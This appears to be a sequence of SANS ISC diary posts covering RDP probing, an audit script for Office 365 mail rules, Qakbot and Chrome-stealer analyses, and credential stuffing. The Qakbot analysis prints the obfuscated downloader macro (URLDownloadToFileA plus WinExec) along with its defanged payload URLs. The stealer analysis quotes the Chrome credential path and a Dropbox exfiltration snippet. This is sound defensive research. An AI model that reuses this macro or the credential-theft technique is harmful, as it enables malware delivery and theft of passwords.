I then use option -n 100 to view the complete command:

So this works: we don't have to figure out that the encoding is XOR with key 111, the tool does that for us. What we need to know though, is an idea of the encoded message: that it contains a URL.

And this made me think: how can I even more lower the amount of information needed, to be able to decode this? I realized that this BAT command is composed of printable ASCII characters. So that is our search criteria. XORSearch does not support this, and in stead of adding it to the C code for XORSearch, I decided to start a Python version of XORSearch (more on this later).

Here is how to use it:

Here we see different XOR keys, that all lead to a pure printable result. But only key 0x6F gives a BAT command.

And this is how to decode it:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-08-22

Remote Desktop (TCP/3389) and Telnet (TCP/23), What might they have in Common?

I'm glad you asked. I'm always interested in trends and reviewing the activity capture by my honeypot over this past week, it shows that no matter what port the RDP service is listening on, a specific RDP string (Cookie: mstshash=) might be sent to any ports to find out if it is listing for this service. Here are some examples: 

20200821-114923: 192.168.25.9:3389-104.140.188.38:39674 data '\x03\x00\x00\'"\xe0\x00\x00\x00\x00\x00Cookie: mstshash=TJdMjIgKn\r\n' 
20200821-114924: 192.168.25.9:3389-104.140.188.38:53052 data "\x03\x00\x00,'\xe0\x00\x00\x00\x00\x00Cookie: mstshash=gJuhZZ\r\n\x01\x00\x08\x00\x01\x00\x00\x00" 
20200821-114924: 192.168.25.9:3389-104.140.188.38:60644 data "\x03\x00\x00,'\xe0\x00\x00\x00\x00\x00Cookie: mstshash=bnmiei\r\n\x01\x00\x08\x00\x03\x00\x00\x00" 

Last 7 Days - Port TCP/3389 

This activity shows the list of usernames contained in the Cookie: mstshash= string sent to the port. 

Last 7 Days - Port TCP/23 

This activity shows the only username contained in the Cookie: mstshash= string sent to the port. 


Last 7 Days - All Ports 

This graph shows all the ports that received the Cookie: mstshash= string. Obviously, much of the activity is against TCP/3389 but other ports are being probed. 

Several patches were released this year to secure the service [1][2][3][4] as well as some exploit code like BlueGate released earlier this year. It is always a good idea to review what the gateway is allowing inbound the network. Even moving the RDP service to a port other than TCP/3389, there is someone out there searching for this service and attempt to exploit it.

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0609 
[2] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0610 
[3] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0612 
[4] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0655 
[5] https://isc.sans.edu/diary/Random+Port+Scan+for+Open+RDP+Backdoor/24422 
[6] https://github.com/ollypwn/BlueGate 
[7] https://www.dshield.org/forums/diary/An+Update+on+the+Microsoft+Windows+RDP+Bluekeep+Vulnerability+CVE20190708+now+with+pcaps/24960/ 
[8] https://isc.sans.edu/ipdetails.html?ip=104.140.188.38 

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2020-08-20

Office 365 Mail Forwarding Rules (and other Mail Rules too)

If you haven't heard, SANS suffered a "Data Incident" this summer, the disclosure was released on August 11.  Details can be found in several locations:
This is well written up in several places:
https://www.sans.org/dataincident2020

IOC's discussed here:
https://www.sans.org/blog/sans-data-incident-2020-indicators-of-compromise/

Webcast is available in two places:
https://www.sans.org/webcasts/116375
https://www.youtube.com/watch?v=KZ3gcFe4_rE

This breach didn't affect me adversely, if my information was affected the disclosed information all falls into the category of information I advertise - - it's all on my website or in LinkedIn.  But this did get me to thinking about other corporate networks where more sensitive customer information is routinely emailed around.  An email forwarding rule in Office 365 could be a "forever data breach" in a situation link that - whether the rule was planted by an attacker or (mis)configured by an end-user, the results could be catastrophic.  Whether it results in a breach of customer data, disclosure of intellectual property, or just a down-tick in a PCI audit - an email rule in the wrong place and at the wrong time can have a severe business impact.

So that being said, how can we look for these things if you have hundreds, thousands or tens-of-thousands of mailboxes to consider?  In an Office 365 shop, and especially if I wrote the code, the answer is most likely going to be PowerShell!

Before we start, you'll need the msonline module:

install-module msonline

A basic "get connected" script might look like this:

Import-Module MSOnline
$O365Cred = Get-Credential
$O365Session = New-PSSession –ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.outlook.com/powershell -Credential $O365Cred -Authentication Basic -AllowRedirection
Import-PSSession $O365Session
Connect-MsolService –Credential $O365Cred

Getting the list of mailboxes (so you have something to loop through) is as simple as "get-mailbox"

$mailboxnames = get-mailbox | select name

To get rules on a mailbox, "get-inboxrule" does the job:

Get-InboxRule -Mailbox "rob@coherentsecurity.com"

Often we're looking for "RedirectTo" or "ForwardTo" rules, but at this point your script may start to differ from mine, you might be looking for different types of rules.  All the parameters that make up each rule are in fields, so it's easy to search and match on exactly what you are looking for.  Normally I pull all configured rules, but I include the "redirectto" and "forwardto" fields so I can separate those out easily, usually in Excel.

If you are looking for other rule types, there are quite a few flags to help you sort / extract what you are looking for - this will give you the list of possibilities (the output of this command is edited to show only fields you might want to search/match on in your hunt for malicious rules):

Get-InboxRule -Mailbox "rob@coherentsecurity.com" | get-member 
(again, only fields commonly of interest are shown)

Name                                  MemberType   Definition                                      
----                                  ----------   ----------                                      
BodyContainsWords                     Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
CopyToFolder                          Property      {get;set;}                                     
DeleteMessage                         Property     System.Boolean {get;set;}                       
DeleteSystemCategory                  Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
Enabled                               Property     System.Boolean {get;set;}                       
ExceptIfBodyContainsWords             Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
ExceptIfFlaggedForAction              Property      {get;set;}                                     
ExceptIfFrom                          Property      {get;set;}                                     
ExceptIfFromAddressContainsWords      Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
ExceptIfFromSubscription              Property      {get;set;}                                     
ExceptIfHasAttachment                 Property     System.Boolean {get;set;}                       
ExceptIfHasClassification             Property      {get;set;}                                     
ExceptIfHeaderContainsWords           Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
ExceptIfMessageTypeMatches            Property      {get;set;}                                     
ExceptIfMyNameInCcBox                 Property     System.Boolean {get;set;}                       
ExceptIfMyNameInToBox                 Property     System.Boolean {get;set;}                       
ExceptIfMyNameInToOrCcBox             Property     System.Boolean {get;set;}                       
ExceptIfMyNameNotInToBox              Property     System.Boolean {get;set;}                       
ExceptIfReceivedAfterDate             Property      {get;set;}                                     
ExceptIfReceivedBeforeDate            Property      {get;set;}                                     
ExceptIfRecipientAddressContainsWords Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
ExceptIfSentOnlyToMe                  Property     System.Boolean {get;set;}                       
ExceptIfSentTo                        Property      {get;set;}                                     
ExceptIfSubjectContainsWords          Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
ExceptIfSubjectOrBodyContainsWords    Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
ExceptIfWithImportance                Property      {get;set;}                                     
ExceptIfWithinSizeRangeMaximum        Property      {get;set;}                                     
ExceptIfWithinSizeRangeMinimum        Property      {get;set;}                                     
ExceptIfWithSensitivity               Property      {get;set;}                                     
FlaggedForAction                      Property      {get;set;}                                     
ForwardAsAttachmentTo                 Property      {get;set;}                                     
ForwardTo                             Property      {get;set;}                                     
From                                  Property      {get;set;}                                     
FromAddressContainsWords              Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
FromSubscription                      Property      {get;set;}                                     
HasAttachment                         Property     System.Boolean {get;set;}                       
HasClassification                     Property      {get;set;}                                     
HeaderContainsWords                   Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
MarkAsRead                            Property     System.Boolean {get;set;}                       
MarkImportance                        Property      {get;set;}                                     
MessageTypeMatches                    Property      {get;set;}                                     
MoveToFolder                          Property     System.String {get;set;}                        
MyNameInCcBox                         Property     System.Boolean {get;set;}                       
MyNameInToBox                         Property     System.Boolean {get;set;}                       
MyNameInToOrCcBox                     Property     System.Boolean {get;set;}                       
MyNameNotInToBox                      Property     System.Boolean {get;set;}                       
Priority                              Property     System.Int32 {get;set;}                         
ReceivedAfterDate                     Property      {get;set;}                                     
ReceivedBeforeDate                    Property      {get;set;}                                     
RecipientAddressContainsWords         Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
RedirectTo                            Property      {get;set;}                                     
SendTextMessageNotificationTo         Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
SentOnlyToMe                          Property     System.Boolean {get;set;}                       
SentTo                                Property      {get;set;}                                     
SubjectContainsWords                  Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
SubjectOrBodyContainsWords            Property     Deserialized.Microsoft.Exchange.Data.MultiVal...
WithImportance                        Property      {get;set;}                                     
WithinSizeRangeMaximum                Property      {get;set;}                                     
WithinSizeRangeMinimum                Property      {get;set;}                                     
WithSensitivity                       Property      {get;set;}  
    

However, once you have a match on whatever it is that you are looking for, the "Description" field is what you likely want in your report - that spells out in plain language what the rule is.

My regular script usually looks something like this:

# prep variables

$RuleList = @()

$timestamp = get-date -format "yyyy-MM-dd-HH-mm"

 

#See if the MSOnline Module is installed or not

if (Get-Module -ListAvailable -Name MSOnline) {

    # no action, module is installed

    }

    else {

    # note "install-module" requires local admin rights

    install-module MSOnline

    }

 

# import module and connect

Import-Module MSOnline

# collect credentials for an organization's O365 Administrator account

$O365Cred = Get-Credential

# Connect up to your org's instance

$O365Session = New-PSSession –ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.outlook.com/powershell -Credential $O365Cred -Authentication Basic -AllowRedirection

Import-PSSession $O365Session

Connect-MsolService –Credential $O365Cred

 

# collect all mailboxes in the enterprise

$mailboxes = get-mailbox

 

# Loop Through all mailboxes, check for rules

# note that will all the mailbox metadata, you can hunt for lots of other things too ....

 

foreach ($mb in $mailboxes) {

    # main email for the mailboxes

    $email = $mb.PrimarySmtpAddress

    # is this a valid user-user?

    if($mb.WindowsLiveID.length -ne 0) {

        $rules = get-inboxrule -mailbox $email

        if (($rules | measure-object).count) {

            foreach( $r in $rules) {

                $tempval = [pscustomobject]@{

                     UserName = $email

                     RuleName = $r.name           

                     RuleEnabled = $r.Enabled

                     CopytoFolder = $r.CopyToFolder

                     MovetoFolder = $r.MoveToFolder

                     RedirectTo = $r.RedirectTo

                     ForwardTo = $r.ForwardTo

                     TextDescription = $r.Description

                     }

                $RuleList += $tempval

                }

            }

        }

    }

# display results on screen, also save to a CSV with time/datestamp

$RuleList | out-Gridview

$filename = ".\MailRules-" + $timestamp + ".csv"

$RuleList | export-CSV $filename

 

The output (for just my mailbox, with one test rule) is shown below.  In a more traditional organization it'll of course be much larger, with both more users and more rules.

This script applies to server rules only.  If your user has checked the "run on this machine only" tick box when building the rule, or has created a rule that will only run inside of outlook (for instance, has selected "play a sound" or something else that will only run locally), then those rules are stored in Outlook and will not show up when you sweep your O365 instance for server-side rules.

Also, keep in mind that not all mail rules are malicious - often they can automate time-eating manual processes for a nice productivity boost.  It'd be my opinion though that you at least want to evaluate the rules in your organization, especially forwarding rules, and especially if those rules forward to email addresses outside of your domain.

If you decide to kick the tires on this script (or if you decide to improve on it), by all means use our comment section to let us know what you found!

====== Update ======

Our reader Peter notes that for systems that use MFA for administrators (which is what we should ALL be doing), the 'ConnectMSolService" command should be used instead of "Get-Credential".  This will give you a modern login form rather than just userid/password entry.

So this:

Import-Module MSOnline

$O365Cred = Get-Credential

$O365Session = New-PSSession –ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.outlook.com/powershell -Credential $O365Cred -Authentication Basic -AllowRedirection Import-PSSession $O365Session Connect-MsolService –Credential $O365Cred

Becomes something like this:

Import-Module MSOnline

Connect-MSolService

References:
https://docs.microsoft.com/en-us/microsoft-365/enterprise/connect-to-microsoft-365-powershell?view=o365-worldwide
(as described, note that you need .Net 3.5 installed for this to work)

===============
Rob VandenBrink
rob <at> coherentsecurity.com

0 Comments

Published: 2020-08-19

Example of Word Document Delivering Qakbot

Qakbot[1] is back on stage at the moment! Many security companies already reported some peaks of activity around this malware. On my side, I also spotted several samples. The one that I'll cover today has been reported by one of our readers (thanks to him) and deserves a quick analysis of the obfuscation used by the attackers. It is not available on VT at this time (SHA256:507312fe58352d75db057aee454dafcdce2cdac59c0317255e30a43bfa5dffbc)

The Word document is nicely prepared and uses an interesting trick to entice the user to enable content:

Then the macro execution is triggered when the document is opened:

Private Sub Document_Open()
  gkl3hkisaugfia4uw3git3w4iu.fko3l4njato4iwntasoinge 0, 4, 0.56
End Sub

The rest of the macro is classic and contains a lot of junk code. Let's focus on the function that decodes the URLs used to download the Qakbot sample:

Public Sub fko3l4njato4iwntasoinge(kjdgf As Integer, dfkji4n5 As Long, gfoihu4i5u As Double)
  Dim sdgfw4ysdfgd(1 To 10) As String
  Dim awrq34 As Integer
    
  sdgfw4ysdfgd(1) = fwki23jghiwueg(0, "aZ/r)d2RjG]c_$jq=x@UsBbriHhnpr?Oola/bInWZi34.p9ePGef4e&(rVBh[#s,;/Xn/Qv:{tp&+t//t4Jh")
  sdgfw4ysdfgd(2) = fwki23jghiwueg(2, "yB/+cxIiu0fsb;tzzr2~/-#mSso$QcP<.$ka3Jv%4a1HtouhM(oV?m%Fep8rSge!Tvn<an]h~BsMgo>0mo[/_1/rq:_RpoTt%LtzZh")
  sdgfw4ysdfgd(3) = fwki23jghiwueg(5, "0%/#RnlHd-dzV9jMjd<;nXFpQI/+DlPyn.B.$Zes^h+KcT}yc/s1fpWrn+5e8so+lak$wC</AE/n%:-@p3$txntafh")
  sdgfw4ysdfgd(4) = fwki23jghiwueg(6, ")=/tkkYbtkPr%~dXhvNsu!AfNvy1Ww6ooT>k!;/rEeq/bP/.j5eiNt|ea]Agu^iLst63rPQo36f=-/5#/ZI:r%pY]twrt3!h")
  sdgfw4ysdfgd(5) = fwki23jghiwueg(8, "2G/Thy$4a5~l(np1{w:4/#em9.oCZcCq.k{s=$uoDnhho7_iXOtLBpQTeoDc%Cn_,i[#/B</lg:*Vp4,th[t8Dh")
  sdgfw4ysdfgd(6) = fwki23jghiwueg(9, "jT/uAs;Yo9kiSIfT*qUIj~W/4Kmb@oj5c{S.$TnI*iYGa,6rqItm$s,4ddEuf7bm+0{32#=4bl/@5/ug:p5pFDtH8t()h")
  sdgfw4ysdfgd(7) = fwki23jghiwueg(9, "V4/(]nn6gKxdm=lgNk1BsXu/Cke)msA*.]*s$4aH=nv{evwtX?ofhsVMrjxe}vlnlb|hoefmE:eKNt<-uW+/~K/xa:V,pKwt2xt~<h")
  sdgfw4ysdfgd(8) = fwki23jghiwueg(9, "N}/b<r3*x1nvuIjaMoh8a=gn)9o~(/W~mn~o%&cd{.7@eiYt<fnzna.5tA;sH!nuoiwVl]ka]Odh&up.l&{atPsa%/kK/C?:dxprwto5t}<h")
  sdgfw4ysdfgd(9) = fwki23jghiwueg(9, "s&/78l:Pw;9io6kZMx<Xy1WwxKzGdh(sfgJd2gbso/7Pm3!oO~cK-.2ss<[iJ?rr]i1Og5@-eAtxLe]@b%]aJKi]CpJZ/G%/$%:$npszt0:tHVh")
    sdgfw4ysdfgd(10) = fwki23jghiwueg(9, "k:/sVf8Ny~ifhhqdGjC!tnKag0/#sr~4f8X.jXse.iQ>a%Wg0~uHJte)rpfoC*ptD-SboOUt4%sKFe+<r5//fZ/{J:CApc4tJctdPh")
  awrq34 = 10

  #If VBA7 Then
    Dim rs As LongPtr
  #Else
    Dim rs As Long
  #End If
  Dim ct As Long
  ct = DateDiff("s", "1/1/1970", Date + Time)
  afs4kwjoaiwheofiauswge.Show False
  afs4kwjoaiwheofiauswge.Repaint
  For i = 1 To awrq34
    Dim sjhfk As String
    sjhfk = fwki23jghiwueg(34, "+<e5/lfZi{JfCA\c4cJcidPl=|bK#u4)P[1\3hs*Qr22eZ)s0FUby\Fv:^HC") + CStr(i) + fwki23jghiwueg(6, "{le#6x}qeW].")
    rs = xcnklthoerhgod.cbkqwebdfi2u3iudidus(0, sdgfw4ysdfgd(i) + CStr(ct) & ".p" + "ng", sjhfk, 0, 0)
    If rs = 0 Then
      xcnklthoerhgod.sadfjkl23hkl sjhfk, 0
      Exit For
    End If
  Next
  afs4kwjoaiwheofiauswge.Hide
End Sub

An array of 10 elements is created (sdgfw4ysdfgd) to hold the encode URLs.They are decoded via the following function:

Public Function fwki23jghiwueg(dre As Long, nfk4 As String) As String
  Dim slen As Long
  slen = Len(nfk4) / 3
  fwki23jghiwueg = Space$(slen)
  For i = 1 To slen
    Mid$(fwki23jghiwueg, i, 1) = Mid$(nfk4, (slen - i + 1) * 3, 1)
  Next
End Function

The array is processed in for() loop to generate the complete URL, download the Qakbot payload, and execute it. After the first successful execution, the for() loop is exited.

Another interesting trick is the use of DataDiff() to generate a unique URI:

ct = DateDiff("s", "1/1/1970", Date + Time)

'ct' will contain the number of seconds since the epoch time. A sample of generated URL will look like:

hxxp://shreee[.]in/orhrsxjcjd/1597818919.png

I presume that the website is running a piece of code that returns *any* png file (this can be easily performed with the Apache mod_rewrite) otherwise, time synchronization between the victim and the malicious website must be perfect! I tried to download several *.png files and all of them returned the same payload.

How is the payload downloaded and executed? The macro uses another cool technique to remap Windows API to random variable names:

rs = xcnklthoerhgod.cbkqwebdfi2u3iudidus(0, sdgfw4ysdfgd(i) + CStr(ct) & ".p" + "ng", sjhfk, 0, 0)
If rs = 0 Then
  xcnklthoerhgod.sadfjkl23hkl sjhfk, 0 
  Exit For
End If

Where cbkqwebdfi2u3iudidus() and sadfjkl23hkl() are mapped to interesting API calls:

Public Declare PtrSafe Function cbkqwebdfi2u3iudidus 
  Lib "urlmon" Alias "URLDownloadToFileA" (ByVal ty5w As LongPtr, ByVal sdf As String, ByVal gh5e As String, ByVal asd3 As LongPtr, ByVal ghkj4 As LongPtr) As LongPtr
Public Declare PtrSafe Function sadfjkl23hkl
  Lib "kernel32" Alias "WinExec" (ByVal bder356 As String, ByVal vszdf46457 As LongPtr) As Long

Here is the list of the 10 decoded URLs:

hxxp://shreee[.]in/orhrsxjcjd/
hxxp://moshaveremohtava[.]com/rtsux/
hxxp://waoenpsyche[.]nl/pndjzdn/
hxxp://fortigate[.]be/kowyfuvdrtk/
hxxp://inceptionus[.]com/wplay/
hxxp://420budstrain[.]com/jqfios/
hxxp://utemoblersotenas[.]se/skldgn/
hxxp://saludalinstante[.]com/onaojvxr/
hxxp://piabet-giris[.]com/bdfhzwyxkiwl/
hxxp://resto-portugais[.]fr/atjqfyf/

The payload is dumped into:

sjhfk = fwki23jghiwueg(34, "+<e5/lfZi{JfCA\c4cJcidPl=|bK#u4)P[1\3hs*Qr22eZ)s0FUby\Fv:^HC") + CStr(i) + fwki23jghiwueg(6, "{le#6x}qeW].")

Which returns 'C:\Users\Public\fileX.exe', where 'X' is the iteration (1 to 10)

The Qakbot sample is also unknown on VT (SHA256:d03046a14d415cb45cf077c497538efb00543d71ccdddbb6b20d840a2026e824).

Another example of a nicely obfuscated macro...

[1] https://www.trendmicro.com/vinfo/in/threat-encyclopedia/malware/QAKBOT

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 Comments

Published: 2020-08-18

ISC Blocked

This morning at the ISC was a bit more interesting than usual.  As I was skimming through the emails I found the usual great submissions from readers, but what got my attention was an email from Iztok, and others, indicating that the ISC was inaccessible because the ISC site was placed on a blocklist by Cisco Talos.

This stuff happens to us now and then.  When you write about malware as much as the Handlers do it is bound to happen that we will get the odd false positive now and then.  But I don’t think that we have every been blocked by a research organization with the reach of Cisco Talos.  Now don’t get me wrong.  This diary is not to complain about the good people at Talos.  They do great work, and they were amazingly quick to unblock us once they were alerted to the issue. 

But as often happens here at the ISC, curiosity get the better of us and we set out to investigate how this might have happened.  The first bit of information that came back to us, from the good people at Cisco Talos, is that a piece of submitted malware tried to contact the ISC. This lead us to VirusTotal.  Just to be completely clear, we did not have any other information from Cisco Talos, so I might be barking up the wrong tree.  A Virustotal search for malware referring to isc.sans.edu found a piece of malware with a creation date in June of 2012 that was first submitted to VT on Friday August 14, 2020.  Seems rather coincidental.

This piece of malware, which has a 60 out of 68 detection rate as a Trojan backdoor, references a diary from in March of 2012.

Unfortunately this is where the investigation ends.  None of us could come up with a reason why a piece of malware would want to reference that diary. Speculation was that maybe it was used as a network connectivity check, but a check of the logs showed that the only hits to that diary are all by search engine crawlers.  If it was used for some nefarious purpose, it was lost in time.

If you have any ideas we would love to hear them via our contact form.

 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

3 Comments

Published: 2020-08-18

Using API's to Track Attackers

For a few days, I’m keeping an eye on suspicious Python code posted on VT. We all know that VBA, JavaScript, Powershell, etc are attacker’s best friends but Python is also a good candidate to perform malicious activities on a computer. Even if Python isn't installed by default, it’s easy to “compile” a Python script to make it portable via a PE file. There exists multiple tools to achieve this, my favorite being 'pyinstaller':

c:\python35\scripts> pyinstaller.exe —one file —noconsole c:\malicious.py

Note that the Python code is not compiled but embedded in the PE with all the required files/libraries and… a Python interpreter. The generated executable can, therefore, be sometimes very big.

Yesterday, I found an interesting piece of malicious Python code that steals Chrome credentials by attacking the default password vault:

\AppData\Local\Google\Chrome\User Data\default\Login Data

It's not very difficult to decrypt Chrome saved passwords, you just need to get the master key[1]. 

The script SHA256 hash is 73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4 and has a current VT score of 2/58[2]! The code is very simple, not obfuscated. The attackers reused exactly the same piece of coded (link above) to decrypt the master key - hey, why reinvent the wheel? To exfiltrate data, they decided to use Dropbox. The well-known file sharing service provides indeed a nice Python interface to its API[3] which is very easy to use:

>>> import dropbox
>>> d = dropbox.Dropbox(access_token)
>>> d.files_upload(open(“local_file.txt”, "rb").read(), “remote_file.txt”, dropbox.files.WriteMode.overwrite)

To access your Dropbox account, you need to generate an ‘access_token’[4] that must be available somewhere in the script. Storing such sensitive information is always touchy. This time, they just used ROT13:

# pass accesstoken in rot13 to avoid sring detection - people having control over the account
access_token = encode(“xxxxx”, 'rot13')

So, let's try to find who's behind this script! 

When you don't have experience with Python library objects, your first reflex must be to search for the available methods via dir():

>>> import dropbox
>>> d.dropbox.Dropbox("xxxxx")
>>> for method in dir(d):
...     print(method)
...
_API_VERSION
_DEFAULT_TIMEOUT
_ROUTE_STYLE_DOWNLOAD
_ROUTE_STYLE_RPC
_ROUTE_STYLE_UPLOAD
__class__
__delattr__
__dict__
__dir__
__doc__
__eq__
__format__
__ge__
__getattribute__
__gt__
__hash__
__init__
__init_subclass__
__le__
__lt__
__metaclass__
__module__
__ne__
__new__
__reduce__
__reduce_ex__
__repr__
__setattr__
__sizeof__
__str__
__subclasshook__
__weakref__
_get_route_url
_headers
_host_map
_logger
_max_retries_on_error
_max_retries_on_rate_limit
_oauth2_access_token
_raw_user_agent
_save_body_to_file
_session
_timeout
_user_agent
auth_token_from_oauth1
auth_token_revoke
clone
file_properties_properties_add
file_properties_properties_overwrite
file_properties_properties_remove
file_properties_properties_search
file_properties_properties_search_continue
file_properties_properties_update
file_properties_templates_add_for_team
file_properties_templates_add_for_user
file_properties_templates_get_for_team
file_properties_templates_get_for_user
file_properties_templates_list_for_team
file_properties_templates_list_for_user
file_properties_templates_remove_for_team
file_properties_templates_remove_for_user
file_properties_templates_update_for_team
file_properties_templates_update_for_user
file_requests_create
file_requests_get
file_requests_list
file_requests_update
files_alpha_get_metadata
files_alpha_upload
files_copy
files_copy_batch
files_copy_batch_check
files_copy_reference_get
files_copy_reference_save
files_copy_v2
files_create_folder
files_create_folder_v2
files_delete
files_delete_batch
files_delete_batch_check
files_delete_v2
files_download
files_download_to_file
files_download_zip
files_download_zip_to_file
files_get_metadata
files_get_preview
files_get_preview_to_file
files_get_temporary_link
files_get_thumbnail
files_get_thumbnail_batch
files_get_thumbnail_to_file
files_list_folder
files_list_folder_continue
files_list_folder_get_latest_cursor
files_list_folder_longpoll
files_list_revisions
files_move
files_move_batch
files_move_batch_check
files_move_v2
files_permanently_delete
files_properties_add
files_properties_overwrite
files_properties_remove
files_properties_template_get
files_properties_template_list
files_properties_update
files_restore
files_save_url
files_save_url_check_job_status
files_search
files_upload
files_upload_session_append
files_upload_session_append_v2
files_upload_session_finish
files_upload_session_finish_batch
files_upload_session_finish_batch_check
files_upload_session_start
paper_docs_archive
paper_docs_create
paper_docs_download
paper_docs_download_to_file
paper_docs_folder_users_list
paper_docs_folder_users_list_continue
paper_docs_get_folder_info
paper_docs_list
paper_docs_list_continue
paper_docs_permanently_delete
paper_docs_sharing_policy_get
paper_docs_sharing_policy_set
paper_docs_update
paper_docs_users_add
paper_docs_users_list
paper_docs_users_list_continue
paper_docs_users_remove
request
request_json_object
request_json_string
request_json_string_with_retry
sharing_add_file_member
sharing_add_folder_member
sharing_change_file_member_access
sharing_check_job_status
sharing_check_remove_member_job_status
sharing_check_share_job_status
sharing_create_shared_link
sharing_create_shared_link_with_settings
sharing_get_file_metadata
sharing_get_file_metadata_batch
sharing_get_folder_metadata
sharing_get_shared_link_file
sharing_get_shared_link_file_to_file
sharing_get_shared_link_metadata
sharing_get_shared_links
sharing_list_file_members
sharing_list_file_members_batch
sharing_list_file_members_continue
sharing_list_folder_members
sharing_list_folder_members_continue
sharing_list_folders
sharing_list_folders_continue
sharing_list_mountable_folders
sharing_list_mountable_folders_continue
sharing_list_received_files
sharing_list_received_files_continue
sharing_list_shared_links
sharing_modify_shared_link_settings
sharing_mount_folder
sharing_relinquish_file_membership
sharing_relinquish_folder_membership
sharing_remove_file_member
sharing_remove_file_member_2
sharing_remove_folder_member
sharing_revoke_shared_link
sharing_share_folder
sharing_transfer_folder
sharing_unmount_folder
sharing_unshare_file
sharing_unshare_folder
sharing_update_file_member
sharing_update_folder_member
sharing_update_folder_policy
team_log_get_events
team_log_get_events_continue
users_get_account
users_get_account_batch
users_get_current_account
users_get_space_usage
with_path_root
>>>

As you can see, all Dropbox features are fully supported by the API is fully and allow you to perform almost anything on files and your account.

The very first interesting method to use is users_get_current_account() to get information about the account. Now, we know more information about the attackers:

>>> for i in str(client.users_get_current_account()).split(','):
...     print(i)
...
FullAccount(account_id='dbid:xxxxxxxxxx'
 name=Name(given_name='xxxxx xxxxxx'
 surname=''
 familiar_name='xxxxx xxxxxx'
 display_name='xxxxx xxxxxx'
 abbreviated_name='xx')
 email='xxxx.xxxxx@gmail.com'
 email_verified=True
 disabled=False
 locale='en'
 referral_link='https://www.dropbox.com/referrals/xxxxxxxxxx?src=appx-xxxxxxx'
 is_paired=False
 account_type=AccountType('basic'
None)
 root_info=UserRootInfo(root_namespace_id='xxxxxxxxxx'
 home_namespace_id='xxxxxxxxxx')
 profile_photo_url='https://dl-web.dropbox.com/account_photo/get/dbaphid%xxxxxx?size=128x128&vers=xxxxxxxxx'
 country='US'
 team=None
 team_member_id=None)
>>>

You can also check the profile picture:

Based on what is found in the Python script, data is exfiltrated in a '/passwords' directory: 

file_to = "/passwords/" + str(getpass.getuser()) + "'s_passwords.txt"

So, let's have a look at the existing files. 

>>> for file in d.files_list_folder('').entries:
...     print(file.name)
...
passwords
Get Started with Dropbox.pdf

We have indeed this interesting directory (together with the default documentation file provided by Dropbox). Let's check inside the directory:

>>> for file in d.files_list_folder('/passwords').entries:
...     print(file.name)
...
xxxxx's_passwords.txt
xxxxx's_passwords.txt
>>>

Ok, let's stop here, we will NOT grab files and have a look at the stolen data.

Conclusion: If API's are very useful from an attacker perspective, they are also very interesting when you need to investigate an incident or do some hunting!

[1] https://github.com/agentzex/chrome_v80_password_grabber
[2] https://www.virustotal.com/gui/file/73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4/detection
[3] https://github.com/dropbox/dropbox-sdk-python
[4] https://dropbox.tech/developers/generate-an-access-token-for-your-own-account

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-08-17

Password Reuse Strikes Again!

Over the weekend the Canada Revenue Agency (CRA), the Canadian equivalent of the U.S. IRS, shut down their online accounts due to account compromises which began at least a couple of weeks. Once the bad guys had access to the accounts they would change the users email address and banking information and attempt to apply for or redirect COVID-19 benefits.  

While this is the public view, the issue is actually bigger than the CRA. It affected accounts associated with GCKey, the Government of Canada’s online portal system.  The CRA accounts were just the ones that had the most immediate benefit to the bad guys. Early indications indicate that approximately, 0.08% of the 12,00,000 (9,000+) GCKey accounts were compromised! 

The easy thing to do is blame the CRA and the Government of Canada for this compromise.  While they are not completely blameless, they made a choice to trade off ease of access for ease of use, a decision made by content provider’s every day. This is what makes this particular attack really sad. This attack was not at all sophisticated, but was entirely preventable through good online practices.  The accounts were not compromised using some clever attack exploiting a zero-day vulnerability, or some other sophisticated attack/compromise. The attack was due to credential stuffing, i.e. using credentials compromised from other websites against GCKey to see which ones would work.  

As much as I would like to see passwords eliminated as a primary form of authentication, unfortunately, passwords are not going away anytime soon.  We can hope that the adoption of MFA and other technologies will make passwords less important, and less exposed, in the future. Even then we will still need to count on users to utilize good password practices.  You don’t have to remind me.  I am aware that users are the weakest link, but I am also aware that the only reasonable solution in the short term is good password management practices.  

I know I am preaching to the choir.  All I can ask of you is that, as technology literate people, if we can continue to help our less technology literate friends to understand that password reuse is bad.  It can lead to online identity theft, as in this case, or possibly outright identity theft, which can ruin your life for years. If we can teach them how to use a password manager so they don’t even need to know their passwords perhaps we can save them a world of hurt.

Friends don't let friends reuse passwords!

Thanks for allowing me to rant!

https://blog.f-secure.com/how-good-or-bad-is-your-password-hygiene/

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

0 Comments

Published: 2020-08-16

Small Challenge: A Simple Word Maldoc - Part 3

